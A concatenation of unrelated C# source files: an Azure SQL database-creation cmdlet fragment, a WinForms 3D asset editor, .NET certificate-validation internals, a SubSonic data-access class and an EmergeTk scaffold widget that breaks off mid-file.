the server name /// </summary> /// <param name="maxSizeGb">the maximum size of the database</param> /// <param name="maxSizeBytes"></param> private void ProcessWithServerName(int? maxSizeGb, long? maxSizeBytes) { Func<string> GetClientRequestId = () => string.Empty; try { // Get the current subscription data. AzureSubscription subscription = Profile.Context.Subscription; // Create a temporary context ServerDataServiceCertAuth context = ServerDataServiceCertAuth.Create(this.ServerName, Profile, subscription); GetClientRequestId = () => context.ClientRequestId; Services.Server.Database response = context.CreateNewDatabase( this.DatabaseName, maxSizeGb, maxSizeBytes, this.Collation, this.Edition, this.ServiceObjective); response = CmdletCommon.WaitForDatabaseOperation(this, context, response, this.DatabaseName, true); // Retrieve the database with the specified name this.WriteObject(response); } catch (Exception ex) { SqlDatabaseExceptionHandler.WriteErrorDetails( this, GetClientRequestId(), ex); } } /// <summary> /// Process the request using the connection context. /// </summary> /// <param name="maxSizeGb">the maximum size for the new database</param> /// <param name="maxSizeBytes"></param> private void ProcessWithConnectionContext(int? maxSizeGb, long? maxSizeBytes) { try { Services.Server.Database database = this.ConnectionContext.CreateNewDatabase( this.DatabaseName, maxSizeGb, maxSizeBytes, this.Collation, this.Edition, this.ServiceObjective); database = CmdletCommon.WaitForDatabaseOperation(this, this.ConnectionContext, database, this.DatabaseName, true); this.WriteObject(database, true); } catch (Exception ex) { SqlDatabaseExceptionHandler.WriteErrorDetails( this, this.ConnectionContext.ClientRequestId, ex); } } } }
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.IO; using System.Windows.Forms; using Assets; using xmljr; namespace Pantry { public partial class ThePantryView : Form { float t = 0; Assets.AssetSystem _System; Actions.ActionContext _Context; /* DOM Creation */ private AssetPackage NewPackage(string name) { AssetPackage ap = new AssetPackage(); ap.Name = name; ap._RenderClosures = new RenderClosure[0]; ap._Textures = new Texture[0]; ap._Shaders = new Shader[0]; return ap; } void LoadDefaultDom() { _Context = new Pantry.Actions.ActionContext(); _System = new AssetSystem(); _System._Packages = new AssetPackage[1]; _System._Packages[0] = NewPackage("Default"); InitDom(); } void Verify(AssetSystem asys) { for (int k = 0; k < asys.Packages.Length; k++) { AssetPackage ap = asys.Packages[k]; if (ap._RenderClosures == null) ap._RenderClosures = new RenderClosure[0]; if (ap._Textures == null) ap._Textures = new Texture[0]; if (ap._Shaders == null) ap._Shaders = new Shader[0]; } } void LoadDomFile(string filename) { try { StreamReader sr = new StreamReader(filename); _System = (Assets.AssetSystem)Assets.Assets.BuildObjectTable(XmlJrDom.Read(sr.ReadToEnd(), null), null).LookUpObject(1); Verify(_System); _Context = new Pantry.Actions.ActionContext(); InitDom(); } catch (Exception e) { LoadDefaultDom(); } } void SaveDomFile(string filename) { XmlJrWriter writ = new XmlJrWriter(null); _System.WriteXML(writ); StreamWriter sw = new StreamWriter(filename); sw.Write(writ.GetXML()); sw.Flush(); sw.Close(); } /* DOM 2 Controls */ void InitDom() { comboPackage.Items.Clear(); string sel = comboPackage.SelectedText; int rdo = 0; int w = 0; foreach (AssetPackage p in _System.Packages) { if (p.Name.Equals(sel)) rdo = w; comboPackage.Items.Add(p.Name); w++; } if (comboPackage.Items.Count > 0) { comboPackage.SelectedIndex = rdo; InitPackage(rdo); } } void InitPackage(int id) { AssetPackage ap = _System.Packages[id]; TreeNode it; _RenderClosures.Nodes.Clear(); foreach (RenderClosure rc in ap._RenderClosures) { it = new TreeNode(rc.Name); it.Tag = rc; _RenderClosures.Nodes.Add(it); } _RenderClosures.Tag = ap._RenderClosures; _RenderClosures.Expand(); _Textures.Nodes.Clear(); foreach (Texture tx in ap._Textures) { it = new TreeNode(tx.Name); it.Tag = tx; _Textures.Nodes.Add(it); } _Textures.Tag = ap._Textures; _Textures.Expand(); _Shaders.Nodes.Clear(); foreach (Shader sd in ap._Shaders) { it = new TreeNode(sd.Name); it.Tag = sd; _Shaders.Nodes.Add(it); } _Shaders.Tag = ap._Shaders; _Shaders.Expand(); treeResources.Sort(); } void ReInit() { InitPackage(comboPackage.SelectedIndex); } AssetPackage CurrentPackage() { return _System._Packages[comboPackage.SelectedIndex]; } /* DOM Maintenance */ void AddPackage(string name) { AssetPackage ap = NewPackage(name); AssetPackage[] apNew = new AssetPackage[_System.Packages.Length + 1]; for (int k = 0; k < _System.Packages.Length; k++) apNew[k] = _System.Packages[k]; apNew[_System.Packages.Length] = ap; _System.Packages = apNew; InitDom(); } void DeletePackage(string name) { int CountGood = 0; foreach (AssetPackage ap in _System.Packages) { if (!ap.Name.Equals(name)) { CountGood++; } } AssetPackage[] apNew = new AssetPackage[CountGood]; int wr = 0; foreach (AssetPackage ap in _System.Packages) { if (!ap.Name.Equals(name)) { apNew[wr] = ap; wr++; } } _System.Packages = apNew; InitDom(); } TreeNode _RenderClosures; TreeNode _Shaders; TreeNode _Textures; public ThePantryView() { InitializeComponent(); _RenderClosures = new TreeNode("Render Closures"); _Shaders = new TreeNode("Shaders"); _Textures = new TreeNode("Textures"); treeResources.Nodes.Add(_RenderClosures); treeResources.Nodes.Add(_Shaders); treeResources.Nodes.Add(_Textures); _Context = new Pantry.Actions.ActionContext(); LoadDomFile("assets.xml"); opMode.SelectedIndex = 0; } public void Save() { SaveDomFile("assets.xml"); } public void AddRenderClosure(Assets.RenderClosure rc) { AssetPackage ap = CurrentPackage(); RenderClosure[] rcNew = new RenderClosure[ap._RenderClosures.Length + 1]; for (int k = 0; k < ap._RenderClosures.Length; k++) rcNew[k] = ap.RenderClosures[k]; rcNew[ap._RenderClosures.Length] = rc; ap._RenderClosures = rcNew; ReInit(); } public void DeleteRenderClosure(string name) { AssetPackage ap = CurrentPackage(); int CountGood = 0; foreach (RenderClosure r in ap._RenderClosures) { if (!r.Name.Equals(name)) { CountGood++; } } RenderClosure[] rNew = new RenderClosure[CountGood]; int wr = 0; foreach (RenderClosure r in ap._RenderClosures) { if (!r.Name.Equals(name)) { rNew[wr] = r; wr++; } } ap._RenderClosures = rNew; ReInit(); } public void AddTexture(Assets.Texture rc) { AssetPackage ap = CurrentPackage(); Texture[] rcNew = new Texture[ap._Textures.Length + 1]; for (int k = 0; k < ap._Textures.Length; k++) rcNew[k] = ap.Textures[k]; rcNew[ap._Textures.Length] = rc; ap._Textures = rcNew; ReInit(); } public void DeleteTexture(string name) { AssetPackage ap = CurrentPackage(); int CountGood = 0; foreach (Texture r in ap._Textures) { if (!r.Name.Equals(name)) { CountGood++; } } Texture[] rNew = new Texture[CountGood]; int wr = 0; foreach (Texture r in ap._Textures) { if (!r.Name.Equals(name)) { rNew[wr] = r; wr++; } } ap._Textures = rNew; ReInit(); } public void AddShader(Assets.Shader rc) { AssetPackage ap = CurrentPackage(); Shader[] rcNew = new Shader[ap._Shaders.Length + 1]; for (int k = 0; k < ap._Shaders.Length; k++) rcNew[k] = ap.Shaders[k]; rcNew[ap._Shaders.Length] = rc; ap._Shaders = rcNew; ReInit(); } public void DeleteShader(string name) { AssetPackage ap = CurrentPackage(); int CountGood = 0; foreach (Shader r in ap._Shaders) { if (!r.Name.Equals(name)) { CountGood++; } } Shader[] rNew = new Shader[CountGood]; int wr = 0; foreach (Shader r in ap._Shaders) { if (!r.Name.Equals(name)) { rNew[wr] = r; wr++; } } ap._Shaders = rNew; ReInit(); } private void timer1_Tick(object sender, EventArgs e) { t += 0.1f; if (t > 1) t = 0; } private void comboPackage_SelectedIndexChanged(object sender, EventArgs e) { ReInit(); } private void gridItem_PropertyValueChanged(object s, PropertyValueChangedEventArgs e) { if (e.ChangedItem.Label.Equals("Name")) { ReInit(); } } public void MapCommand(string x) { Button B = new Button(); B.Text = x; B.Width = 7 * x.Length + 10; B.Click += new System.EventHandler(this.Command_Click); B.UseVisualStyleBackColor = true; flowPanel.Controls.Add(B); } public void EvalCommand(string x) { foreach (Actions.IAction A in ZenReflection.InterfaceImplementors("Pantry.Actions.IAction")) { if (A.Name().Equals(x)) { A.Act(_Context, gridItem.SelectedObject); } } if (_Context.InvalidateOp) { scaleBar.Value = 50; InvOperation(); } glView.Redraw(); } public void SelectObject(object o) { gridItem.SelectedObject = o; flowPanel.Controls.Clear(); if (o is Assets.RenderClosure) { glView.Draw(o as Assets.RenderClosure, _Context); } foreach (Actions.IAction A in ZenReflection.InterfaceImplementors("Pantry.Actions.IAction")) { if (A.CanAct(_Context, o)) { MapCommand(A.Name()); } } } private void treeResources_AfterSelect(object sender, TreeViewEventArgs e) { TreeNode cursor = treeResources.SelectedNode; if (cursor.Tag != null) { SelectObject(cursor.Tag); } } private void treeResources_KeyDown(object sender, KeyEventArgs e) { if (e.KeyData == Keys.Delete) { TreeNode tn = treeResources.SelectedNode; if (tn != null) { if (tn.Parent != null) { if (tn.Parent.Text.Equals("Render Closures")) { DeleteRenderClosure(tn.Text); return; } if (tn.Parent.Text.Equals("Shaders")) { DeleteShader(tn.Text); return; } if (tn.Parent.Text.Equals("Textures")) { DeleteTexture(tn.Text); return; } } } } } private void milkshape3DStaticToolStripMenuItem_Click(object sender, EventArgs e) { if (dOpenFile.ShowDialog() == DialogResult.OK) { MeshV3N3T2[] M = Import.MS3D.MS3D2Asset.CompileStatic(dOpenFile.FileName); foreach (MeshV3N3T2 m in M) AddRenderClosure(m); } } private void saveToolStripMenuItem_Click(object sender, EventArgs e) { Save(); } private void stripifyToolStripMenuItem_Click(object sender, EventArgs e) { Tools.EasyNvTriStrip.Stripify(new uint[3] { 0, 1, 2 }, 0, 3); } private void findTexturesToolStripMenuItem_Click(object sender, EventArgs e) { foreach (AssetPackage ap in _System._Packages) Import.TextureScanner.Scan(ap, "s:\\Textures\\"); ReInit(); } private void Command_Click(object sender, EventArgs e) { EvalCommand((sender as Button).Text); } private void InvOperation() { int dV = scaleBar.Value - 50; if (glView._AC == null) return; Actions.ActionContext ac = glView._AC; ac.Scale = 1.0; ac.TranslateX = 0; ac.TranslateY = 0; ac.TranslateZ = 0; if (opMode.SelectedIndex == 0) { ac.Scale = Math.Abs(dV) / 25.0 + 1; // 0 => 1x, 50 => 2x if (dV <= 0) { ac.Scale = 1.0 / ac.Scale; } } else if (opMode.SelectedIndex == 1) { ac.TranslateX = dV / 25.0; } else if (opMode.SelectedIndex == 2) { ac.TranslateY = dV / 25.0; } else if (opMode.SelectedIndex == 3) { ac.TranslateZ = dV / 25.0; } glView.Redraw(); } private void opMode_SelectedIndexChanged(object sender, EventArgs e) { scaleBar.Value = 50; InvOperation(); } private void scaleBar_ValueChanged(object sender, EventArgs e) { InvOperation(); } private void trackGridH_Scroll(object sender, EventArgs e) { } private void trackGridV_Scroll(object sender, EventArgs e) { } private void trackGridH_ValueChanged(object sender, EventArgs e) { if (glView._AC == null) return; glView._AC.GridH = trackGridH.Value; glView.Redraw(); } private void trackGridV_ValueChanged(object sender, EventArgs e) { if (glView._AC == null) return; glView._AC.GridV = trackGridV.Value; glView.Redraw(); } private void gCenter_CheckedChanged(object sender, EventArgs e) { if (glView._AC == null) return; glView._AC.GridMode = gCenter.Checked ? 0 : 1; glView.Redraw(); } private void scaleBar_Scroll(object sender, EventArgs e) { } private void newShaderToolStripMenuItem_Click(object sender, EventArgs e) { Assets.LitPhongShader lps = new LitPhongShader(); lps.Name = "Lit"; lps._AmbientLightModel = new xmljr.math.Vector4(); lps._AmbientLightModel.x = 1; lps._AmbientLightModel.y = 1; lps._AmbientLightModel.z = 1; lps._AmbientLightModel.w = 1; AddShader(lps); } private void newProgramShaderToolStripMenuItem_Click(object sender, EventArgs e) { Assets.ProgramShader ps = new Assets.ProgramShader(); ps.Name = "Program"; AddShader(ps); } private void milkshape3DAnimatedToolStripMenuItem_Click(object sender, EventArgs e) { if (dOpenFile.ShowDialog() == DialogResult.OK) { string n = ""; SkeletonMesh sm = Import.MS3D.ExtractSkeletonMesh(dOpenFile.FileName, out n); sm.Name = n; AddRenderClosure(sm); //MeshV3N3T2[] M = Import.MS3D.MS3D2Asset.CompileStatic(dOpenFile.FileName); //foreach (MeshV3N3T2 m in M) AddRenderClosure(m); } } } }
// Copyright (c) Microsoft. All rights reserved. // Licensed under the MIT license. See LICENSE file in the project root for full license information. using Microsoft.Win32.SafeHandles; using System.Security; using System.Security.Cryptography; using System.Net.Security; using System.Security.Principal; using System.Runtime.InteropServices; using System.Security.Cryptography.X509Certificates; namespace System.Net { internal static partial class CertificateValidationPal { private static readonly object s_syncObject = new object(); private static volatile X509Store s_myCertStoreEx; private static volatile X509Store s_myMachineCertStoreEx; internal static SslPolicyErrors VerifyCertificateProperties(X509Chain chain, X509Certificate2 certificate, bool checkCertName, bool isServer, string hostName) { SslPolicyErrors sslPolicyErrors = SslPolicyErrors.None; if (!chain.Build(certificate) // Build failed on handle or on policy. && chain.SafeHandle.DangerousGetHandle() == IntPtr.Zero) // Build failed to generate a valid handle. { throw new CryptographicException(Marshal.GetLastWin32Error()); } if (checkCertName) { unsafe { uint status = 0; var eppStruct = new Interop.Crypt32.SSL_EXTRA_CERT_CHAIN_POLICY_PARA() { cbSize = (uint)Marshal.SizeOf<Interop.Crypt32.SSL_EXTRA_CERT_CHAIN_POLICY_PARA>(), dwAuthType = isServer ? Interop.Crypt32.AuthType.AUTHTYPE_SERVER : Interop.Crypt32.AuthType.AUTHTYPE_CLIENT, fdwChecks = 0, pwszServerName = null }; var cppStruct = new Interop.Crypt32.CERT_CHAIN_POLICY_PARA() { cbSize = (uint)Marshal.SizeOf<Interop.Crypt32.CERT_CHAIN_POLICY_PARA>(), dwFlags = 0, pvExtraPolicyPara = &eppStruct }; fixed (char* namePtr = hostName) { eppStruct.pwszServerName = namePtr; cppStruct.dwFlags |= (Interop.Crypt32.CertChainPolicyIgnoreFlags.CERT_CHAIN_POLICY_IGNORE_ALL & ~Interop.Crypt32.CertChainPolicyIgnoreFlags .CERT_CHAIN_POLICY_IGNORE_INVALID_NAME_FLAG); SafeX509ChainHandle chainContext = chain.SafeHandle; status = Verify(chainContext, ref cppStruct); if (status == Interop.Crypt32.CertChainPolicyErrors.CERT_E_CN_NO_MATCH) { sslPolicyErrors |= SslPolicyErrors.RemoteCertificateNameMismatch; } } } } X509ChainStatus[] chainStatusArray = chain.ChainStatus; if (chainStatusArray != null && chainStatusArray.Length != 0) { sslPolicyErrors |= SslPolicyErrors.RemoteCertificateChainErrors; } return sslPolicyErrors; } // // Extracts a remote certificate upon request. // internal static X509Certificate2 GetRemoteCertificate(SafeDeleteContext securityContext, out X509Certificate2Collection remoteCertificateStore) { remoteCertificateStore = null; if (securityContext == null) { return null; } GlobalLog.Enter("SecureChannel#" + Logging.HashString(securityContext) + "::RemoteCertificate{get;}"); X509Certificate2 result = null; SafeFreeCertContext remoteContext = null; try { int errorCode = SslStreamPal.QueryContextRemoteCertificate(securityContext, out remoteContext); if (remoteContext != null && !remoteContext.IsInvalid) { result = new X509Certificate2(remoteContext.DangerousGetHandle()); } } finally { if (remoteContext != null && !remoteContext.IsInvalid) { remoteCertificateStore = UnmanagedCertificateContext.GetRemoteCertificatesFromStoreContext(remoteContext); remoteContext.Dispose(); } } if (Logging.On) { Logging.PrintInfo(Logging.Web, SR.Format(SR.net_log_remote_certificate, (result == null ? "null" : result.ToString(true)))); } GlobalLog.Leave("SecureChannel#" + Logging.HashString(securityContext) + "::RemoteCertificate{get;}", (result == null ? "null" : result.Subject)); return result; } // // Used only by client SSL code, never returns null. // internal static string[] GetRequestCertificateAuthorities(SafeDeleteContext securityContext) { string[] issuers = Array.Empty<string>(); object outObj; int errorCode = SslStreamPal.QueryContextIssuerList(securityContext, out outObj); GlobalLog.Assert(errorCode == 0, "QueryContextIssuerList returned errorCode:" + errorCode); Interop.Secur32.IssuerListInfoEx issuerList = (Interop.Secur32.IssuerListInfoEx)outObj; try { if (issuerList.cIssuers > 0) { unsafe { uint count = issuerList.cIssuers; issuers = new string[issuerList.cIssuers]; Interop.Secur32._CERT_CHAIN_ELEMENT* pIL = (Interop.Secur32._CERT_CHAIN_ELEMENT*)issuerList.aIssuers.DangerousGetHandle(); for (int i = 0; i < count; ++i) { Interop.Secur32._CERT_CHAIN_ELEMENT* pIL2 = pIL + i; GlobalLog.Assert(pIL2->cbSize > 0, "SecureChannel::GetIssuers()", "Interop.Secur32._CERT_CHAIN_ELEMENT size is not positive: " + pIL2->cbSize.ToString()); if (pIL2->cbSize > 0) { uint size = pIL2->cbSize; byte* ptr = (byte*)(pIL2->pCertContext); byte[] x = new byte[size]; for (int j = 0; j < size; j++) { x[j] = *(ptr + j); } X500DistinguishedName x500DistinguishedName = new X500DistinguishedName(x); issuers[i] = x500DistinguishedName.Name; GlobalLog.Print("SecureChannel#" + Logging.HashString(securityContext) + "::GetIssuers() IssuerListEx[" + i + "]:" + issuers[i]); } } } } } finally { if (issuerList.aIssuers != null) { issuerList.aIssuers.Dispose(); } } return issuers; } // // Security: We temporarily reset thread token to open the cert store under process account. // internal static X509Store EnsureStoreOpened(bool isMachineStore) { X509Store store = isMachineStore ? s_myMachineCertStoreEx : s_myCertStoreEx; if (store == null) { lock (s_syncObject) { store = isMachineStore ? s_myMachineCertStoreEx : s_myCertStoreEx; if (store == null) { // NOTE: that if this call fails we won't keep track and the next time we enter we will try to open the store again. StoreLocation storeLocation = isMachineStore ? StoreLocation.LocalMachine : StoreLocation.CurrentUser; store = new X509Store(StoreName.My, storeLocation); try { // For app-compat We want to ensure the store is opened under the **process** account. try { WindowsIdentity.RunImpersonated(SafeAccessTokenHandle.InvalidHandle, () => { store.Open(OpenFlags.ReadOnly | OpenFlags.OpenExistingOnly); GlobalLog.Print("SecureChannel::EnsureStoreOpened() storeLocation:" + storeLocation + " returned store:" + store.GetHashCode().ToString("x")); }); } catch { throw; } if (isMachineStore) { s_myMachineCertStoreEx = store; } else { s_myCertStoreEx = store; } return store; } catch (Exception exception) { if (exception is CryptographicException || exception is SecurityException) { GlobalLog.Assert("SecureChannel::EnsureStoreOpened()", "Failed to open cert store, location:" + storeLocation + " exception:" + exception); return null; } if (Logging.On) { Logging.PrintError(Logging.Web, SR.Format(SR.net_log_open_store_failed, storeLocation, exception)); } throw; } } } } return store; } private static uint Verify(SafeX509ChainHandle chainContext, ref Interop.Crypt32.CERT_CHAIN_POLICY_PARA cpp) { GlobalLog.Enter("SecureChannel::VerifyChainPolicy", "chainContext=" + chainContext + ", options=" + String.Format("0x{0:x}", cpp.dwFlags)); var status = new Interop.Crypt32.CERT_CHAIN_POLICY_STATUS(); status.cbSize = (uint)Marshal.SizeOf<Interop.Crypt32.CERT_CHAIN_POLICY_STATUS>(); bool errorCode = Interop.Crypt32.CertVerifyCertificateChainPolicy((IntPtr)Interop.Crypt32.CertChainPolicy.CERT_CHAIN_POLICY_SSL, chainContext, ref cpp, ref status); GlobalLog.Print("SecureChannel::VerifyChainPolicy() CertVerifyCertificateChainPolicy returned: " + errorCode); #if TRACE_VERBOSE GlobalLog.Print("SecureChannel::VerifyChainPolicy() error code: " + status.dwError + String.Format(" [0x{0:x8}", status.dwError) + " " + Interop.MapSecurityStatus(status.dwError) + "]"); #endif GlobalLog.Leave("SecureChannel::VerifyChainPolicy", status.dwError.ToString()); return status.dwError; } } }
using System; using System.Text; using System.Data; using System.Data.SqlClient; using System.Data.Common; using System.Collections; using System.Collections.Generic; using System.ComponentModel; using System.Configuration; using System.Xml; using System.Xml.Serialization; using SubSonic; using SubSonic.Utilities; namespace DalSic { /// <summary> /// Strongly-typed collection for the RisAreaTematica class. /// </summary> [Serializable] public partial class RisAreaTematicaCollection : ActiveList<RisAreaTematica, RisAreaTematicaCollection> { public RisAreaTematicaCollection() {} /// <summary> /// Filters an existing collection based on the set criteria. This is an in-memory filter /// Thanks to developingchris for this! /// </summary> /// <returns>RisAreaTematicaCollection</returns> public RisAreaTematicaCollection Filter() { for (int i = this.Count - 1; i > -1; i--) { RisAreaTematica o = this[i]; foreach (SubSonic.Where w in this.wheres) { bool remove = false; System.Reflection.PropertyInfo pi = o.GetType().GetProperty(w.ColumnName); if (pi.CanRead) { object val = pi.GetValue(o, null); switch (w.Comparison) { case SubSonic.Comparison.Equals: if (!val.Equals(w.ParameterValue)) { remove = true; } break; } } if (remove) { this.Remove(o); break; } } } return this; } } /// <summary> /// This is an ActiveRecord class which wraps the RIS_AreaTematica table. /// </summary> [Serializable] public partial class RisAreaTematica : ActiveRecord<RisAreaTematica>, IActiveRecord { #region .ctors and Default Settings public RisAreaTematica() { SetSQLProps(); InitSetDefaults(); MarkNew(); } private void InitSetDefaults() { SetDefaults(); } public RisAreaTematica(bool useDatabaseDefaults) { SetSQLProps(); if(useDatabaseDefaults) ForceDefaults(); MarkNew(); } public RisAreaTematica(object keyID) { SetSQLProps(); InitSetDefaults(); LoadByKey(keyID); } public RisAreaTematica(string columnName, object columnValue) { SetSQLProps(); InitSetDefaults(); LoadByParam(columnName,columnValue); } protected static void SetSQLProps() { GetTableSchema(); } #endregion #region Schema and Query Accessor public static Query CreateQuery() { return new Query(Schema); } public static TableSchema.Table Schema { get { if (BaseSchema == null) SetSQLProps(); return BaseSchema; } } private static void GetTableSchema() { if(!IsSchemaInitialized) { //Schema declaration TableSchema.Table schema = new TableSchema.Table("RIS_AreaTematica", TableType.Table, DataService.GetInstance("sicProvider")); schema.Columns = new TableSchema.TableColumnCollection(); schema.SchemaName = @"dbo"; //columns TableSchema.TableColumn colvarIdAreaTematica = new TableSchema.TableColumn(schema); colvarIdAreaTematica.ColumnName = "idAreaTematica"; colvarIdAreaTematica.DataType = DbType.Int32; colvarIdAreaTematica.MaxLength = 0; colvarIdAreaTematica.AutoIncrement = true; colvarIdAreaTematica.IsNullable = false; colvarIdAreaTematica.IsPrimaryKey = true; colvarIdAreaTematica.IsForeignKey = false; colvarIdAreaTematica.IsReadOnly = false; colvarIdAreaTematica.DefaultSetting = @""; colvarIdAreaTematica.ForeignKeyTableName = ""; schema.Columns.Add(colvarIdAreaTematica); TableSchema.TableColumn colvarDescripcion = new TableSchema.TableColumn(schema); colvarDescripcion.ColumnName = "descripcion"; colvarDescripcion.DataType = DbType.AnsiString; colvarDescripcion.MaxLength = 100; colvarDescripcion.AutoIncrement = false; colvarDescripcion.IsNullable = false; colvarDescripcion.IsPrimaryKey = false; colvarDescripcion.IsForeignKey = false; colvarDescripcion.IsReadOnly = false; colvarDescripcion.DefaultSetting = @""; colvarDescripcion.ForeignKeyTableName = ""; schema.Columns.Add(colvarDescripcion); BaseSchema = schema; //add this schema to the provider //so we can query it later DataService.Providers["sicProvider"].AddSchema("RIS_AreaTematica",schema); } } #endregion #region Props [XmlAttribute("IdAreaTematica")] [Bindable(true)] public int IdAreaTematica { get { return GetColumnValue<int>(Columns.IdAreaTematica); } set { SetColumnValue(Columns.IdAreaTematica, value); } } [XmlAttribute("Descripcion")] [Bindable(true)] public string Descripcion { get { return GetColumnValue<string>(Columns.Descripcion); } set { SetColumnValue(Columns.Descripcion, value); } } #endregion //no foreign key tables defined (0) //no ManyToMany tables defined (0) #region ObjectDataSource support /// <summary> /// Inserts a record, can be used with the Object Data Source /// </summary> public static void Insert(string varDescripcion) { RisAreaTematica item = new RisAreaTematica(); item.Descripcion = varDescripcion; if (System.Web.HttpContext.Current != null) item.Save(System.Web.HttpContext.Current.User.Identity.Name); else item.Save(System.Threading.Thread.CurrentPrincipal.Identity.Name); } /// <summary> /// Updates a record, can be used with the Object Data Source /// </summary> public static void Update(int varIdAreaTematica,string varDescripcion) { RisAreaTematica item = new RisAreaTematica(); item.IdAreaTematica = varIdAreaTematica; item.Descripcion = varDescripcion; item.IsNew = false; if (System.Web.HttpContext.Current != null) item.Save(System.Web.HttpContext.Current.User.Identity.Name); else item.Save(System.Threading.Thread.CurrentPrincipal.Identity.Name); } #endregion #region Typed Columns public static TableSchema.TableColumn IdAreaTematicaColumn { get { return Schema.Columns[0]; } } public static TableSchema.TableColumn DescripcionColumn { get { return Schema.Columns[1]; } } #endregion #region Columns Struct public struct Columns { public static string IdAreaTematica = @"idAreaTematica"; public static string Descripcion = @"descripcion"; } #endregion #region Update PK Collections #endregion #region Deep Save #endregion } }
using System; using System.Collections; using System.Collections.Generic; using System.IO; using System.Reflection; using System.Xml; using EmergeTk.Model; using EmergeTk.Model.Security; namespace EmergeTk.Widgets.Html { public enum NewButtonPosition { Top, Bottom, Both } public class Scaffold<T> : Widget, IDataSourced where T : AbstractRecord, new() { private static new readonly EmergeTkLog log = EmergeTkLogManager.GetLogger(typeof(Scaffold<T>)); private Widget rootScaffold; private Repeater<T> grid; private Template customGridTemplate; private Hashtable customGridTemplates; private ModelForm<T> addForm; private IButton showAddButton; private Widget showAddButtonWidget; private IRecordList<T> dataSource; private Model.ColumnInfo[] fieldInfos; private List<IQueryInfo> query; private HtmlElement addPane; private List<FilterInfo> defaultValues; bool ignoreDefaultEditTemplate = false; bool saveAsYouGo = false; bool addExpanded = false; bool useEditForView = false; bool showDeleteButton = false; bool useStack = false; bool applyFiltersToNew = false; string propertySource; string tagName; string templateTagName; bool usePager; int pageSize; bool destructivelyEdit = false; Permission addPermission, editPermission, deletePermission, addVisibleTo, editVisibleTo, deleteVisibleTo; public event EventHandler<ItemEventArgs> OnBeforeSave; public event EventHandler<ItemEventArgs> OnAfterSave; // public event EventHandler OnDataSourceChanged; static Type defaultButtonType; static Scaffold() { defaultButtonType = TypeLoader.GetType(Setting.GetValueT<string>("DefaultButtonType","EmergeTk.Widgets.Html.Button")); } private string model; public string Model { get { return this.model; } set { model = value; } } private string friendlyModelName; public string FriendlyModelName { get { if( friendlyModelName == null ) { friendlyModelName = model ?? typeof(T).Name; if( friendlyModelName.LastIndexOf(".") > -1 ) { friendlyModelName = friendlyModelName.Substring(friendlyModelName.LastIndexOf(".")+1); } } return this.friendlyModelName; } set { this.friendlyModelName = value; } } public IRecordList<T> DataSource { get { return dataSource; } set { dataSource = value; if( grid != null ) grid.DataSource = value; // if( OnDataSourceChanged != null ) // OnDataSourceChanged( this, new EventArgs() ); } } private Type buttonType = defaultButtonType; private string button = defaultButtonType.FullName; public string Button { get { return this.button; } set { this.button = value; this.buttonType = DiscoverType(button); } } private bool hideListOnAdd = false; public bool HideListOnAdd { get { return hideListOnAdd; } set { hideListOnAdd = value; } } private bool showNewButton = true; public bool ShowNewButton { get { return showNewButton; } set { showNewButton = value; } } public string EditTemplate { get; set; } private NewButtonPosition newButtonPosition = NewButtonPosition.Bottom; public NewButtonPosition NewButtonLocation { get { return newButtonPosition; } set { newButtonPosition = value; } } private string newButtonLabel; public string NewButtonLabel { get { return newButtonLabel; } set { newButtonLabel = value; } } private string order = "ROWID"; public string Order { get { return this.order; } set { this.order = value; } } private bool ensureCurrentRecordOnEdit = true; public bool EnsureCurrentRecordOnEdit { get { return ensureCurrentRecordOnEdit; } set { ensureCurrentRecordOnEdit = value; } } public Scaffold() { this.ClientClass = "PlaceHolder"; rootScaffold = this; } Pane header,body,footer; Widget host; Stack stack = null; // TODO: this is never set public override void Initialize() { host = this; header = RootContext.CreateWidget<Pane>(host); body = RootContext.CreateWidget<Pane>(host); footer = RootContext.CreateWidget<Pane>(host); fieldInfos = ColumnInfoManager.RequestColumns<T>(); SetupGrid(); SetupAddButtons(); } private void SetupGrid() { Template gridPane = null; if( ! useEditForView ) gridPane = this.CustomGridTemplate != null ? this.CustomGridTemplate : buildDefaultGridPane(); else { gridPane = RootContext.CreateWidget<Template>(host); } RemoveChild(gridPane); gridPane.Id = "gridPane"; insertEditAndDeleteButtons( gridPane ); grid = Grid; grid.PropertySource = propertySource; grid.Template = gridPane; grid.Footer = RootContext.CreateWidget<Generic>(); grid.TagName = tagName ?? "div"; grid.Template.AppendClass("item"); grid.TagName = tagName ?? "div"; grid.TemplateTagName = templateTagName ?? "div"; grid.Id = "grid"; grid.UsePager = usePager; if( useEditForView ) { grid.OnRowAdded += new EventHandler<RowEventArgs<T>>( delegate( object sender, RowEventArgs<T> ea ) { associateEditForm( ea.Template ); }); } if( pageSize != 0 ) grid.PageSize = pageSize; setDataSource(); if( dataSource != null ) { grid.DataSource = dataSource; } host.AppendClass( "scaffold " + Name.Replace(".","-") ); } private void SetupAddButtons() { if( ShowNewButton || addExpanded) { addPane = RootContext.CreateWidget<HtmlElement>(); addPane.VisibleToPermission = AddVisibleTo; addPane.Id = "addPane"; addPane.AppendClass( "addPane" ); if( addExpanded ) ShowAddForm(); else { showAddButton = RootContext.CreateUnkownWidget(buttonType) as IButton; showAddButtonWidget = (Widget)showAddButton; showAddButtonWidget.AppendClass( "addButton" ); showAddButtonWidget.Id = "AddButton"; showAddButton.Label = newButtonLabel ?? "Add New " + FriendlyModelName; showAddButtonWidget.OnClick += new EventHandler<ClickEventArgs>(add_OnClick); addPane.Add(showAddButtonWidget); } if( newButtonPosition == NewButtonPosition.Top || newButtonPosition == NewButtonPosition.Both ) { header.Add( addPane ); } body.Add( grid ); if( newButtonPosition == NewButtonPosition.Both ) { footer.Add( addPane.Clone() as Widget ); } else if( newButtonPosition == NewButtonPosition.Bottom ) { footer.Add( addPane ); } } else body.Add( grid ); } private Template buildDefaultGridPane() { Template gridPane = RootContext.CreateWidget<Template>(host, this.Record); gridPane.ClassName = "simplePane"; foreach( Model.ColumnInfo fi in fieldInfos ) { Widget c = null; if (fi.DataType == DataType.RecordList) { c = new PlaceHolder(); } else { c = RootContext.CreateWidget<Label>(); c.SetAttribute("Text", "<strong>" + fi.Name + ":</strong>&nbsp;&nbsp;{" + fi.Name + "}"); } c.Id = fi.Name; gridPane.Add( c ); } PlaceHolder editPh = RootContext.CreateWidget<PlaceHolder>(); editPh.Id = "EditPlaceHolder"; PlaceHolder deletePh = RootContext.CreateWidget<PlaceHolder>(); deletePh.Id = "DeletePlaceHolder"; gridPane.Add( editPh ); gridPane.Add( deletePh ); return gridPane; } private bool useImageButtons = false; public bool UseImageButtons { get { return useImageButtons; } set { useImageButtons = value; } 